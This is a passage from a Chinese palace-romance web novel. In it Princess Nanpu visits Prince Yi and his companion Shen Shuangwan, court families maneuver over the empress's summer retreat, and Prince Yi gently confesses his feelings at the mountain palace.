赵延心也不怎么坚持,只道:“既然叔叔说不要,那我就只送佛珠就是。”顿了顿,她又好奇起来,“所以袁嘉儿还要和那个永平侯成亲,那永平侯长得很好看?还是格外有才华?她干嘛非要找这么个没担当的男人啊?”
仪王道:“这谁能知道?她里里外外闹了许久,最后是磨着太后松了口,才叫她如愿。说不定太后也是被她闹烦了。”
赵延心又看向仪王:“他们成亲那日,你带我去看看热闹?”
仪王只摆了摆手,道:“我都不打算去,你去做什么?”
赵延心颇有些遗憾了起来,她道:“想看看那个永平侯是个什么样的人,这人大约也能算是个祸水了。”
仪王道:“若只谈相貌,祸水倒是谈不上,顶多是魁梧些罢了。”
赵延心觉得有些新奇,只道:“若是如此,便更不知道袁嘉儿看上他什么。”
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两人说着话,马车忽然停了下来。
显而易见还没到仪王府,仪王正要问前面是什么事情,便听见杨月芷的声音在外面响起来。
仪王眉头一皱,赵延心便笑了一声。
“叔叔别急,我来打发她。”赵延心示意仪王坐到后头去,自己撩开帘子看向了外面,果然杨月芷正戴着帷帽骑在马上往车中探看。
“原来是你,你竟然还在京中?我这几日在宫里,都没见到你进宫来给娘娘请安,还以为你已经嫁到外地去了。”赵延心笑着看着杨月芷,“你的夫君可听你的话?是否事事顺从听话得像哈巴狗一样?”
杨月芷看到赵延心,先是愣住,再听清她说的话,顿时火起。她正想说话,身后的侍从们上前来一扯住缰绳便将她往后拉去。
只听称呼侍从便知道赵延心身份,再加上最近京中风言风语,他们一起上来给赵延心行礼,然后乖觉退到一旁去。
赵延心便又笑了笑,向他们道:“看来舅公府上比从前要懂规矩了,倒是比从前要长进些。”
侍从们不敢吭声,只低头站在一旁。
杨月芷倒是想说话,但被侍从们一而再拦下,也只好扯过帷帽挡住脸在一旁假作什么都没听到。
赵延心便放下车帘,示意车夫继续往前走。
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眼看着仪王府的马车走远,杨家的侍从们松了口气,杨月芷也终于扯下了帷帽丢在地上。
“你们——你们半点用处也没有!”杨月芷向那些侍从们吼道。
侍从们捡起了帷帽重新还给了杨月芷,细声细气道:“娘子息怒,娘子好不容易解除了禁足能出府,总不是想又惹恼了大人吧?”
杨月芷顿时没了声。
数月前杨峻英命人把她关在府中,到端午节时候才放了她出来,还威吓了她许多话,说若她再任性妄为,便直接送回老家去,不许她留在京中。
她自然是不愿意回去老家的,她是半点也不想离开京城。
她心中有太多不甘,她如今只想着先退让一步,得了自由身,到时候只要降服了赵弘美,重新做了王妃,杨家人自然是要对她退让。
杨月芷没好气地重新戴上了帷帽,又想起赵延心说的那几句话,心中恨得咬牙切齿。
她与赵弘美成亲那一年,赵延心就对她没有好脸色,她常常认为就是赵延心撺掇了赵弘美,赵弘美才非要与她和离。
但想到如今赵延心的尴尬身份,杨月芷又幸灾乐祸起来。
先太子若活着,她当然千尊万贵,可先太子不仅死了,而且到如今都没个说法,她那郡主身份便是要多尴尬有多尴尬。
杨月芷再看一眼仪王府的车驾,轻笑了一声,便骑着马继续往药铺方向走。
侍从们便低眉顺眼跟在后头。
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马车中,赵延心看向了仪王,好奇问道:“为何她还没嫁人?”
仪王漫不经心道:“听说是相看过几家,她看不上。”
“杨家有些拿大了。”赵延心冷着脸说道,“若不是有娘娘和你在,他们杨家算什么东西?竟然连个女儿都管不好,他们以为他们那国舅怎么来的?寸功未立,不都是靠着娘娘?”
仪王倒是不以为意,他道:“父皇乐得做出宽厚外戚的样子,杨家便以为是得了父皇青眼罢了。”
赵延心冷笑道:“我倒是乐得看杨家早点死了。”
仪王道:“如今便很好,我与他们情分耗尽,母后也不会再额外照拂,将来他们要如何,都与我们无关了。”
赵延心想到什么,忽然叹了一声,道:“若那时杨家与我父亲一起,说不定便不是如今情形了。”
仪王听着这话,便抬头看了赵延心一眼:“你去仪州路过大哥的陵寝,便进去替母后与我祭祀一番。”
赵延心道:“这是自然的。”说着,她再次看向了仪王,“我什么时候能再回来京城?”
仪王想了想,却并没有回答,只道:“我叫陈斯跟着你。”
赵延心明白了他的意思,便道:“叔叔在京中也要千万保重。”她说着便叹了一声,故作玩笑道,“回来也没几日,还不能看看袁嘉儿的笑话,这就要走,实在是
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太匆忙了些。”
仪王道:“你若想知道,我叫人给你写信就是了。”
赵延心摆了摆手,道:“算了,等我离京,天高任鸟飞,还理这些事情做什么?”
仪王便笑起来:“可别飞太远,到时候我叫你回来,你就要回来了。”
赵延心道:“这我自然知道。”
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说着话,马车缓缓停下,这次便是到了王府外了。
车夫直接把马车赶到府中去,仪王便与赵延心一道下车往书房去。
他们叔侄二人与府中一干掾属官见面,又交代了陈斯与赵延心一道去仪州。
赵延心与陈斯之间相互并不算陌生,两人聊了几句,陈斯便下去准备出行的事宜,而赵延心则跟着仪王一起往梧桐院去。
“总要见一面,不见面可太说不过去了。”赵延心是不怕仪王的,“我都准备好礼物了,正好见面,说两句话,我绝对不胡说八道。”
仪王被缠得没办法,便与赵延心又叮嘱了一番,才带着她往梧桐院去。
沈霜晚突然听说仪王带着南浦郡主过来,意外地看向了来通传的侍从,她有些不解:“殿下与郡主到我这儿来做什么?”一边说着,她一边命奶娘把沈云抱到里间去,自己起身走到门口,恰好便见仪王和一个陌生女郎顺着回廊走过来。
赵延心跟在仪王身后,一眼看到打着竹帘走出来的妩媚娘子,忍不住伸手在仪王身上点了两下,她拉着仪王袖子,小声道:“我不信你是最近才动的心思。”
仪王把自己袖子抢回来,只当没听到一般,几步走到沈霜晚身旁,笑道:“南浦郡主想见一见你,就风风火火过来了,我也没好拦住她。”
赵延心跟在后头,听仪王这么说,便忍不住踢了他一脚,然后拿出了七宝佛珠,送到沈霜晚手中:“我是不速之客不请自来,还请夫人见谅。我在佛寺住了几年,也没什么拿得出手的东西,送夫人一串七宝佛珠,愿夫人平安。”
沈霜晚看了仪王一眼,没有立刻接过来,她道:“这佛珠太贵重,郡主请自己留下吧!”
赵延心拽了拽仪王的袖子,又看了他一眼,示意他帮忙说话。
仪王再次把自己袖子给捞回来,从赵延心手里拿了那匣子打开来,把佛珠挂在了沈霜晚手腕上:“你戴着玩或者给云儿挂着镇邪也行,佛门的东西也不过就是寓意好。”
赵延心亦道:“夫人便收下吧,这只是我的一点小小心意。”
如此劝说,沈霜晚不好再推辞下去,她取下佛珠重新放到匣子里,然后请仪王与赵延心进屋来坐。
仪王便从善如流跟在后面,又得了赵延心一个意味深长的眼神。
进到屋子里面,沈霜晚先请他们坐下,然后又亲自进去里间拿了两枚五颜六色的香囊出来,分别交予了仪王与赵延心。沈霜晚道:“夏天蚊虫多,香囊里面装的是驱虫的药粉,殿下与郡主出去时候可挂在身上,省得被蚊虫叮咬了。”
赵延心接过来,刚想说什么,便被仪王抢了先。
仪王道:“天气开始变热,还是少做些针线,太费神了。”
41. 思绪
沈霜晚从前只听说过南浦郡主,但却从未见过。
今日看到赵延心,却莫名想起了那位成安郡主,她心想,虽说都是郡主,却是如此不同。
她仅有见到成安郡主的那次,只觉得那位郡主高傲骄纵不可一世,后来又听说她不断闹腾非要赶紧嫁给薛望,更加让她觉得成安郡主跋扈嚣张。
但这位南浦郡主看起来却是平和——至少表面上是平和。
仪王在一旁笑道:“我和南浦虽然名义上是叔侄,但和朋友也没什么区别,她小时候在母后那儿长大,又和我没差几岁,我以前还住在宫中时候,经常与她一起出宫玩乐。”
赵延心听着这话便也笑着道:“我原本回京了还打算到处玩玩看看,谁知京中如今是不好呆的,明天就跟着叔叔家的王傅到仪州去了,所以今日才死皮赖脸也要过来见过婶婶。”
沈霜晚顿了顿,没有接这话。
且不论她是什么身份到的仪王府,哪怕她现在就是仪王正儿八经的媵妾,哪怕她是孺人侧妃,也没资格让这位郡主叫她婶婶。
她有些为难地看了仪王一眼,便见仪王也正看着他。
仪王见她看过来,忽地注意到什么一般,清了清嗓子,向赵延心道:“夫人这儿事多,云儿正是要人陪的时候,我们不要在这里多打扰了。”
赵延心眨了下眼睛,到底还是顺着仪王的话说:“是,我正好去前头收拾了行李,再叫人去买些东西。”
说着二人便一起站了起来,沈霜晚只觉得松了口气一般,也跟着起身。
送到门口时候,仪王拦住了她。
仪王道:“在家就不必那么多礼,你好生歇着就是。”
赵延心亦道:“外头暑气重,还是屋子里舒服些,夫人留步。”
于是沈霜晚便叫侍女送了他们到门口去。
等到侍女回来,沈霜晚有些迟疑地问道:“方才是因为我没接话,才叫殿下与郡主匆忙去了?”
侍女笑着道:“夫人切莫多心,郡主从前常到咱们府上来,她便就是自由自在的性子,当然不是因为夫人的缘故才走的。”
沈霜晚笑着摇了摇头,道:“是我多心。”
侍女便又道:“从前那位还是正妃时候,那才是常常多心,每每郡主来过一趟,她便要从郡主的话中琢磨出八百种不同的意思出来,总觉得郡主不喜欢她又不安好心。”
沈霜晚愣了一会,才意识到这说的是仪王从前的妻子杨氏。
“后来郡主知道了,就来得少了。”侍女接着说道,“再后来先太子出事,郡主去金光寺给先太子守孝,这也有三年没见到郡主。今日见着与从前一比,看起来和从前倒是也没什么两样。”
沈霜晚一时间有些怔忡,她扫见一旁那七宝佛珠,一个女孩儿去佛寺给父亲守了三年的孝还没有母亲照拂,如今回到京城还有那样多的风言风语,她都无法想象这位郡主面对的是怎样的残酷。
倒是也难怪同是郡主,成安郡主那样跋扈,而这位南浦郡主却这样平和。
这时,里屋的沈云哇哇哭了起来。
沈霜晚便立刻把那些乱糟糟的思绪丢到一旁,起身往里屋走去。
到了里间,正好见着奶妈在给沈云换尿布,她上前去帮了忙,心里却突然想起今后的事情。
她来仪王府的时候,仪王便说了,将来她有看中的人,便可以再嫁。
刚才南浦郡主喊她婶婶,她便觉察出几分不合适,再又想起之前进宫时候皇后对她的态度,她心中有些打鼓了。她在王府这些日子过得实在是无忧无虑,都快忘了她与仪王不过是临时凑一起的关系。她在王府是否呆了太久?她是否……有些逾矩?她是否应当早做打算?否则若误了仪王的姻缘,那可就是她天大的罪过。
她听闻薛望与成安郡主的婚事已经定下,约莫入秋之后就要拜堂,到时候薛望必定也不会再来和她有什么纠缠,她应当便可以放心从王府搬出去。
想到这里,她又心算了一番现下手中的银钱,琢磨着不如便对仪王开诚布公一些。
仪王是她的恩人,为人也十分和善,并不似传闻中那样可怕,她暗地里谋算恐怕会叫仪王觉得心中不悦,不如便把话说开。
沈霜晚抱着沈云摇了摇,小孩儿咿咿呀呀地笑了起来,她也情不自禁笑了起来。
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赵延心在仪王府上住了两日,然后才与王傅陈斯一道离京。
仪王略松了口气,又进宫去与皇后说了此事。
皇后听说他还派了人跟随,放心了许多,但仍叹道:“若不是当初,延心也应当早早成亲生子,不必如现在这般。”
仪王倒是很无所谓,他劝皇后道:“成亲未必是什么好事,万一延心碰到个像永平侯薛望那样的,不如不嫁了。”
这话听得皇后笑了一声:“你总有话说,我是说不过你了。”顿了顿,皇后又道,“眼看天热,我打算去北岭行宫住两个月,今年你要与我一起么?”
仪王道:“那我自然是要陪着母后的。”
皇后点了点头,道:“那你就把沈氏也带上,免得她一人在府里,薛家找她麻烦,她就没办法应付。”
仪王眉开眼笑,殷勤挨着皇后坐了又替她打扇子,口中道:“还是母后最疼我。”
皇后用手里扇子拍了拍儿子的脑袋,道:“那就回去收拾吧!等宫中事情了了,我就带着你去北岭行宫。”
“父皇决定封柳氏为惠妃了?”仪王想起来前几日他替皇后递的奏疏,来了兴致,“太后和隋王兄弟俩没说什么?”
“我只说柳氏从前也是惠妃宫里出来的,很有几分冯氏的品格,你父皇看着柳氏对着我很是回忆了一番冯氏从前的温良,最后便决定封柳氏为惠妃了。”皇后语气淡淡,“你父皇恋旧。”
仪王一时间有些无法评判他的父皇是不是真的恋旧,他只觉出许多嘲讽来。
“至于太后,还有四皇子兄弟俩,他们能说什么呢?”皇后漠然说道,“他们会安分一些时日。”
仪王笑了一声,道:“希望他们从今以后都安分吧!”顿
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了顿,他又看向了皇后,“那母后打算把宫务交给谁?”
皇后道:“便让德妃和惠妃一并打理。”
仪王点了点头,很是赞同:“她们若是得用,将来母后也不用太操心。”
.
隋王府上,隋王与嘉王在屋子里面一站一坐,面色都不太好看。
“或者……也不用太过于计较?”隋王站定了看向嘉王,“父皇旨意中用的是赐号而非册封,应当只是拗不过皇后吧?”
嘉王抿了下嘴,道:“所差的也不过只是册立时候再给一封文书罢了。”
隋王愤愤道:“皇后可恶至极!”
嘉王看着隋王,眉头紧皱:“可你说……为什么皇后突然要做这样的事情?没什么理由啊……”
“不就是要压下我们,为了赵弘美铺路?”隋王嗤了一声,重新坐下了,“否则为何突然做这样的事情?”
“我却觉得并非因为仪王。”嘉王道,“大约是因为太后娘娘,据说南浦回宫,太后娘娘没见她。”
隋王顿了顿,眉头也皱了起来:“不见又怎么了,父皇不也没见?”
“那不一样。”嘉王道,“太后娘娘就算不见,也应当赏赐,无论如何南浦是太后娘娘亲孙女。皇后必定是因为此事对太后娘娘有了看法。”
隋王沉默了一会,没有说话。
“不过只是针对冯家人而已。”嘉王没把后面的话往下说了。
隋王看向了嘉王:“太后老了,冯家如今是比不过杨家了。”
两人说着话,隋王长史从外面进来。
“两位殿下,宫中皇后娘娘十日后要与仪王殿下一并去北岭行宫避暑,宫中已经下了旨意,说京中命妇若有想一并去避暑的,都可上书同行。”长史恭敬说道,“后宫事宜暂时让德妃与惠妃两位一同打理。”
听到“惠妃”二字,隋王面色沉了沉,却也不好对着长史发火。
嘉王则问道:“父皇不去么?”
长史道:“圣上奉太后留在京中,听说是因为太后要看顾长公主府上的喜事,不愿意往北岭去。”
隋王撇了下嘴,道:“我知道了,你退下吧,就说我们府上王妃要留下伺候太后娘娘,不与母后一起避暑了。”
长史应下,见隋王再无别的吩咐,便退了出去。
.
仪王府中,沈霜晚忽然听说自己要与仪王一起跟随皇后去北岭避暑,很是吃了一惊。
“怎么我也要去?”她看着仪王,不可置信。她前两日还想着要与仪王把界限划清一些,省得挡了仪王的姻缘,这要是跟着一起去北岭行宫……她忍不住摇了摇头,便道:“云儿还小呢,我总不好丢下他吧?”
仪王听着后一句话露出几分困惑来,他道:“你带上云儿不就行了?”
沈霜晚顿了顿,她抬眼看向仪王,他面上神色不似在开玩笑的样子。
她想了想,挥手叫侍女们先退出去,然后上前一步,温声道:“殿下将来还要娶妻,我总跟着殿下,是不是不太好?”
42. 试探
仪王低头看着沈霜晚。
她神色认真,语气诚恳,她在说——他将来会娶妻的事情。
可在他看来,她想说的分明是她将来会再嫁他人的事情。
她想嫁什么样的人?
她会喜欢什么样的人?
仪王心不在焉想了一会,却又有些在意起来,他难道没有被她纳入考虑范围么?
他难道不算是……良配?
他忽地想起来当年与杨月芷成亲后那许许多多次翻来覆去的争吵。
杨月芷说他脾气恶劣,行为乖张,只空有一副好皮囊,又投了个好胎,才能活到如今,否则老早就被人一刀砍死,且死无葬身之地。
这些话他向来是不放在心上的,可今日却不知为何会想起来。
他忽地有些担忧起来。
在沈霜晚眼中,他是否也是这么一个令人厌恶的人?
他并不爱纠结这些事情,他素来知道这种事情纠结也是无用,于是他便直接了当开口了。
他问沈霜晚:“在你心中,我是个怎样的人呢?”
沈霜晚愣了愣,他看到她小心地抬眼打量他,似乎是在犹豫应当怎样开口。
于是他又道:“有些话你直说也是无妨的,我并非小气之人。”
沈霜晚便笑了笑,她道:“我只是不知殿下为何会这么问。”
他想了想,道:“我只是忽然在想……你是不是觉得我很令人讨厌。”
沈霜晚眼中有些讶异,她问:“殿下为何会这么想?”
他看着沈霜晚温柔的眼瞳,他注意到她的瞳仁是褐色,她的眼角微微上翘,顾盼之间带着不自觉的妩媚和狡黠。
他微微有些恍惚,顿了顿才回答了沈霜晚的问题。
他道:“因为我觉得你似乎很想离开王府。”
沈霜晚看着他,她对着他笑了笑,她道:“在我心中,殿下首先是恩人。”
这话叫他心中浮起许多不愉,正想说什么,却被沈霜晚止住了。
她接着又道:“殿下且听我说完,殿下是我的恩人,所以殿下在我眼中自然只有千般万般好,而无一处不好。正因为殿下在我心中完美无缺,故而我会心存感念。”她顿了顿,接着又道,“殿下将来必定还将娶妻,我是不愿殿下将来无人陪伴的。”
他看着沈霜晚这么认真样子,心头那些不愉忽地又散去了。
他道:“你陪着我不就好了?”
沈霜晚却没有立刻接话,她面上很有几分迟疑。
他便又笑了一声,故作玩笑道:“可见你是觉得我讨厌的,为何我这么说了你反而不答?”
“我却觉得殿下在作弄我。”沈霜晚如此说道,她看着他的眼睛,她声音中有笑意,“不过殿下在我心中便就是一个随心所欲的人,我喜欢这样的殿下,或者是因为我从来不曾如殿下这样自由自在过。”
他看着沈霜晚,一时间只觉得心头莫名发热,他垂着眼眸想了想,道:“反正你就带着云儿与我一起去行宫去避暑就是了,正好避开薛家和长公主的婚事。”
沈霜晚似乎有些无奈,她道:“那就都听殿下的。”
他便站起身来,往外走去了。
.
初夏的京城,有微微的东南风,燥热已经初现。
沈霜晚逗了一会沈云,见小孩儿开始打呵欠,便叫奶娘带着小孩儿到里间去休息。
她摇着扇子在廊下站了一会,忽地听见屋顶上有扑腾的动静,寻声抬头,只见是三四只大喜鹊正追着一只迷迷瞪瞪的鸱鸮打,那鸱鸮被喜鹊围攻,颇有些狼狈地绕着圈子扑腾。
“怎么这喜鹊那么凶?”沈霜晚笑了一声。
一旁侍女也抬头看去,道:“夫人是没见着晚上那猫头鹰打喜鹊的凶神恶煞。”
沈霜晚恍然:“原来白天是来报仇了。”
侍女笑道:“大约是这样的吧!”
屋顶上,那鸱鸮展翅飞起来,它的毛毛腿看起来比喜鹊那小细腿要健壮许多,圆圆的脸看起来甚至有些滑稽,它蹬了其中一只喜鹊的背脊,接着旁边三只喜鹊却毫不退缩地围攻了上去,鸱鸮转了方向,便朝着另一边飞去。喜鹊自然是穷追猛打,很快这几只鸟都不见了影子。
沈霜晚摇了摇扇子,阳光刺目,她也不想在外面多待,便回去屋子里。
约是看了一会鸟儿打架,她心绪倒是慢慢平静下来。
她在桌前铺开纸笔,端端正正抄了一页心经。
不过二百余字,足以让她把那些乱糟糟的思绪全部理清了。
.
她并非是傻子也并非是无知无觉的木头,仪王对她流露出的心思她是能感觉到的。
仪王当然很好,他是自由自在的性情,故而会让世人觉得他放荡不羁,故而会让俗人觉得他离经叛道。身居高位的天之骄子并不需要世俗的评判,就好像天上的鸟儿不需要地上的蚂蚁来肯定。
可她是世人,是俗人,是会在地上仰望的凡人。
世人会瞻前顾后。
俗人会畏首畏尾。
凡人会患得患失。
她才刚刚以几乎全部的代价换得了新生,她并不太想再走上一条几乎能看得见尽头的道路。
她困于薛望身边时候能侥幸活着脱身,将来若是与仪王在一起有个龃龉,或者便只能一死来求个解脱。
她自认不是什么柔软性格,仪王看起来也不像是会忍让的性情,他们两人在一起大约就只有最初时候能有几分情意,最多不过数月便要相看两厌。
现在她还能想着仪王当初承诺说她若看中别人就能离开,若真在一起了,那允诺大约就要不作数。
她倒是也想过或者她经历了薛望那些事情之后,从今以后都是坦途,遇到仪王也是情根深种的好郎君,但她却并不太敢去这样奢望。
或者没有这些乱七八糟的期望,便也不会失望。
总归只是她胆小。
一无所有的人总是瑟缩,既不敢爱,亦不敢恨。
她浑身枷锁,她身困樊笼。
她只想将来有一天她也能做个自由自在的人,她不必总去依靠别人,到那时候或者她就会变得胆大,变得敢去喜欢一个人。
但现在……还不是时候。
也
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或者,她应当少想一些,随心而行或者比瞻前顾后更好。
沈霜晚放下笔,把那卷心经收到一旁匣子里去。
不知不觉中,天色已经暗下来。
一天又过去了。
侍女进到屋子里来,请她去用晚膳。
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杨国舅府中,卢夫人正与杨峻英商量着与皇后一同去北岭避暑的事情。
“这回娘娘说了要让老夫人一起去避暑,我自然是要一起随行的,只是五娘……到底要不要让她一起?”卢夫人很是纠结地看着杨峻英。
杨峻英拿着扇子烦躁地摇了几下:“她近来倒是十分安分。”
“就怕她碰到仪王又闹起来,仪王必定是要与娘娘一并随行的。”卢夫人皱着眉头说道,“她这一两年也仿佛魔怔了一般。”
杨峻英想了想,看向了卢夫人:“要不就叫她留在京城?你请母亲与娘娘再商量商量,若是果真再无法说和了,便给她说个人家吧?”
“我看五娘就是喜欢仪王。”卢夫人一边说着一边叹了一声,“我便去求一求老夫人和娘娘吧!若真能说和倒是也好,若不行……这么多年都过去了,实在也没有必要再强求。”
杨峻英也跟着叹了一声,道:“便就这样吧!”
两人正说着话,外面有丫鬟进来通传,说五娘过来给他们请安。
皇后要去北岭避暑的事情如今京中人尽皆知,卢夫人自然也知道自家女儿这番过来是为了什么,她叹了口气,只能让杨月芷进来。
杨月芷低眉顺眼进到了屋子里来,先行了礼,然后乖顺在一旁坐下。
卢夫人与杨峻英对视一眼,直截了当道:“方才我与你父亲商量过了,这次你就留在京中,我要伺候你祖母,实在是没什么精力再顾着你。”
杨月芷有些不可置信看向了卢夫人与杨峻英,她想要说什么,又被杨峻英给拦下了。
“我与你母亲已经决定了,你不必再多说什么。”杨峻英如此说道,“你也知道为什么不带着你一起,如今仪王和从前不一样了,不能由着你闹下去。”说到这里,他顿了顿,又道,“我从娘娘那儿听说了,仪王还会带着他府上那位媵夫人随行,我会叫你母亲帮你相看人家,你与仪王缘分尽了,也不必强求。”
这话听得杨月芷眼泪掉下来,她哽噎道:“我一片真心,他却狠心抛弃我,父亲母亲也从来不站在我这边,只说我胡闹,我到底做错了什么呢?难道我喜欢他,是我的错么?”
卢夫人不想听这些话,只摆了摆手让她停下,又道:“你说这些也没用,便安心在家里吧!”说着,卢夫人便站起身来,向杨峻英道,“我去老夫人那儿看看,便就在老夫人那儿用晚膳了。”
杨峻英点了点头,又看向了杨月芷:“你若无事,便回去休息。”
杨月芷流着眼泪咬住嘴唇,恳求地看着杨峻英:“父亲,我不想一个人留在京城。”
卢夫人已经离开了正厅,而杨峻英不为所动,他只道:“娘娘膝下如今只剩仪王了,我们家不可能因为你,与仪王断了关系。”
杨月芷垂下头,她不再说话了。
43. 喜欢
皇后离京去往北岭避暑的那日京中下了濛濛细雨。
仪王一大清早天都没亮就进宫去侍奉皇后的车驾仪仗等事情,而沈霜晚和沈云却是卯时都过了才从仪王府出发,等到车驾离开京城,已经过了巳时。
离开京城上了官道后,车驾便快了起来
如此一路奔驰,到傍晚时分便进入了北岭行宫外围,接着车队又变得缓慢,在夜色和灯火中,过了二更才进到了行宫中安置下来。
仪王是老早已经到了,他命人引着沈霜晚一行先到宫中用晚膳,快到三更时候才从皇后那边回来。
“路上可还顺利?”仪王在前头换了衣裳,便到后面来见沈霜晚,“云儿睡了么?你用过晚膳没有?”
一边说着话,外面宫人抬着膳桌进到殿中来,安静布好饭菜,然后退到门口去。
“要不陪着我再用一些?”仪王看向了沈霜晚,“今天一天都在路上,恐怕你也吃得少。”
沈霜晚便陪着仪王坐下了,她笑道:“倒也还好,路上昏昏沉沉在睡觉,醒来时候就已经快到行宫了。云儿一路上倒是精神好,听奶娘说一直在看外面。”
“那难怪困得早,小孩儿早点睡也是好事。”仪王笑着说,“行宫各处地方大又凉爽,可以多带着他到处看看,不过蚊虫多,得带些驱虫的香囊之类,免得被咬得满身都是包。”一边说着,他一边用勺子盛一块凉拌豆腐给沈霜晚,“随便吃一点就好,若没胃口就算了。”
沈霜晚看了眼食案上的饭菜,便给仪王夹了些羊肉。她道:“殿下今天肯定奔波了一天,但这会也不宜吃太多,垫垫肚子便早些安寝吧!”
仪王便把那羊肉吃下肚子,他看着沈霜晚,笑了笑,道:“你今日不与我别扭了?”
沈霜晚动作顿了顿,她也抬眼看向了仪王,她道:“我什么时候与殿下别扭?”
仪王便道:“你不承认也无妨,反正我是能看出来的。”
沈霜晚垂下眼睑,这男女之间的事情向来不需要多说,若真有感觉,那便就是无师自通一般什么都懂。她想了想,然后才道:“殿下若不说穿,便没那么别扭。”
仪王懒散笑道:“总得有个人先捅破窗户纸吧?”顿了顿,他接着道,“那我先说,我很喜欢你,我觉得你也没那么讨厌我,你愿不愿意考虑下把后半生托付给我?”他又想了想,不等沈霜晚回应,又继续说道,“我自然不会像薛望那样做派让你吃亏的,没有人会让自己喜欢的人天天受委屈。”
沈霜晚静默了一会,她实在是没想过仪王会在这事情上这么直截了当,但细细一想又觉得不太意外,自由自在的人当然是无所顾忌的。
她看着仪王,却忍不住问道:“要是哪天不喜欢了呢?殿下会不会是那种爱之欲其生恶之欲其死的性子?”
仪王思索了一会,道:“我自认为不是这样的人。”他看着她,“而且我也没想过不喜欢之后的事情。人不是物件,我喜欢一个人,与我喜欢一匹马、一块宝石,是不一样的事情。”
“愿闻其详。”沈霜晚笑着看他。
“人是很难定义的,就拿你来说,我最初对你其实并没有男女之情。”仪王坦然看着沈霜晚,“但经过我们的相处,我突然发现你是一个鲜活的人,我被你吸引。”他眉头微微皱了皱,似乎在思考,“鲜活的人,会有喜怒哀乐,会有七情六欲,人不是某一个扁平的影子,你不是当初那个只剩下勇气和忍耐的永平侯夫人……”说到这里,他似乎觉得词穷,于是他直接一摊手,看着她,“反正,我喜欢你。”
沈霜晚一时间竟只觉得难以回应了,她挪开了目光,下意识看向了窗外。
不知何时雨已经停下。
“不过你也不用急着拒绝或者同意。”仪王说道,“我觉得……我们可以把这件事情交给时间,人的一生很长,如果我们要在一起,那么一起要走的路也很长。你一定心中不安,也一定会有许多顾虑,不安和顾虑都需要时间来帮你理清,这不是我一两句话就能叫你放心的。”
沈霜晚再次看向了仪王,她几乎已经被他打动了。
“但你现在不要回答。”仪王轻轻用一根手指按在她的嘴唇上不许她再开口,他凝望着她的双眼,“因为我自知我脾气坏,又太随心所欲,还曾经有一段失败的姻缘,和一个总在找麻烦的前任王妃,我看起来不像是能托付终身的好人。”
沈霜晚往后退开,把仪王的手推到一旁。她看着他,忽地只觉得轻松起来。她道:“那好,就听殿下的,一切都交给时间。”
“那明天与我一起打猎去?”仪王笑着看她。
沈霜晚并不扭捏,她道:“好,听殿下的安排就是。”
仪王眼睛微微亮了亮,他看着沈霜晚,想了想才道:“那说好了,明日我过来找你,你可不许推辞。”一边说着,他却往外看了一眼,然后他便站起身来,“往日在府中这时候你都睡了,我自去前头用饭,你早些休息吧!”
说完,他便叫人把膳桌都送到前头去,又对着她笑了一笑,才转身离开。
沈霜晚也跟着起身,送了他到门口,才转回来。
夜渐渐深去,山中不似京中那样寂静,大雨倾盆时候,甚至感觉有些嘈杂。
沈霜晚便就在这样细碎的嘈杂中睡去了,待到她醒来时候,外面正是电闪雷鸣,她从床榻上坐起来往外看,只见大风大雨中山中树木都左右摇晃着,那一道道惊雷劈下来颇有山崩地裂的气势。
她换了衣裳走到殿外,放眼望去只见山间雨雾苍茫,天与地的界线混沌一片,仿佛湮开的水与墨。
她想起许多水墨山水画,便情不自禁往外走了两步。
丰沛的雨水顺着屋檐倾泻而下,各处沟渠中雨水聚成小溪,朝着低处奔腾而去。
庭院中的花草树木在雨水的冲刷下低垂了叶片。
昨日还隐约有一些的
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暑气已经荡然无存。
沈霜晚忽地想起来去年这时候似乎也有过一场大雨,那时候她还在薛家……思绪还没散开,她忽地听到沈云咿咿呀呀的声音从身后传来了。
她回头,便见奶娘抱着沈云从里间出来。
“小公子早上没见到夫人,便一直睁着眼睛到处看。”奶娘笑着上前来,“夫人要不要抱一会?”
沈霜晚便从奶娘怀里把沈云抱过来,小孩儿不知在为什么高兴,他啊啊叫着糊了她一脸口水,又手舞足蹈地指着屋檐底下。
顺着小孩儿指的方向看过去,只见有一排鸦鹊正歇在廊下避雨。
这时,仪王的声音从另一边传来了。
他声音中带着笑,道:“这山中的鸟兽胆子都大,我那边院子里还有只猞猁在躲雨,把宫人们都吓得不敢过来。”
“猞猁?”沈霜晚抱着沈云转身,便见仪王穿了件轻薄的绯色常服正朝着她走过来。
也不知为何,此刻看到仪王,沈霜晚忽地想起了他的大名,赵弘美。
在她看来,这美字放在仪王身上是极为恰当的。
不仅仅是外貌的俊美,当然还有仪态倜傥,衣着华美。
胡思乱想间,仪王已经走到她面前来。
“是,好大一只猞猁,我刚才叫人拿着肉把它给引走了,免得它在那里吓唬人。”仪王笑着看她,“猞猁野性太大,都不知道从山上哪里跑出来,还是离远些好。”
沈霜晚回过神来,她再抬眼去看仪王,便与仪王目光相触。
“你想看那猞猁?”仪王笑着问。
“还是算了。”沈霜晚笑着摇了摇头,她抱着沈云朝着那排鸦鹊方向走了几步,又回头去看仪王,“我怕这小子看到猞猁就啊啊大叫,反而把猞猁给惊到。”
“怕什么?”仪王上前来,把沈云给接了过去,“将来要是他喜欢,养一只在府里也是可以的。”
“养猞猁做什么?”沈霜晚觉得有些好笑起来了,“听说那东西野性难驯。”
仪王抱着沈云走到那一排鸦鹊底下,然后转身向沈霜晚道:“那养只豹子也不错,还能带着出去打猎呢!”
沈云抬头看着那排鸟,高兴地手舞足蹈起来。
沈霜晚慢慢走过去,她也抬头看了一眼,笑着道:“也不知是看到了什么这么高兴。”
“小孩子嘛,就是更容易开心一些。”仪王看着沈霜晚,“昨天还说去打猎,看今日这雨,只怕是哪里也去不了。”
“这里凉快,倒是也无所谓去哪里,就算在屋子里睡觉也比在京中闷热好。”沈霜晚说。
两人正说着话,有皇后身边的宫人顺着回廊过来了。
“殿下,娘娘说让殿下不必过去了。”宫人上前行了礼,然后如此说道,“国舅家的卢夫人今日在娘娘身边随侍。”
仪王看向那宫人,无所谓地摆了摆手:“我知道了。你去回母后吧!”
44. 画像
山中雨比京中多了许多冷冽。
用过了早膳,皇后安静地顺着回廊慢慢往前踱着步子。
身后卢夫人带着一众女官安静跟随在两侧。
行到回廊尽头再往右折,便通往了另一侧的殿阁。
宫人们慌忙收起鸡毛掸子和笤帚之类的东西,不安地垂首站在两侧,独留了一只比猫大不了多少的小猞猁赖在路当中不走。
皇后愣了愣,随即笑了起来,她招手叫内侍过来,问:“这么个小东西,怎么没见大的?”
内侍还来不及回答,便听见另一边一串急促脚步声传来了。
众人寻声看去,只见一只大猞猁叼着一块肉,脚步轻快矫健地越过栏杆朝着这边过来。
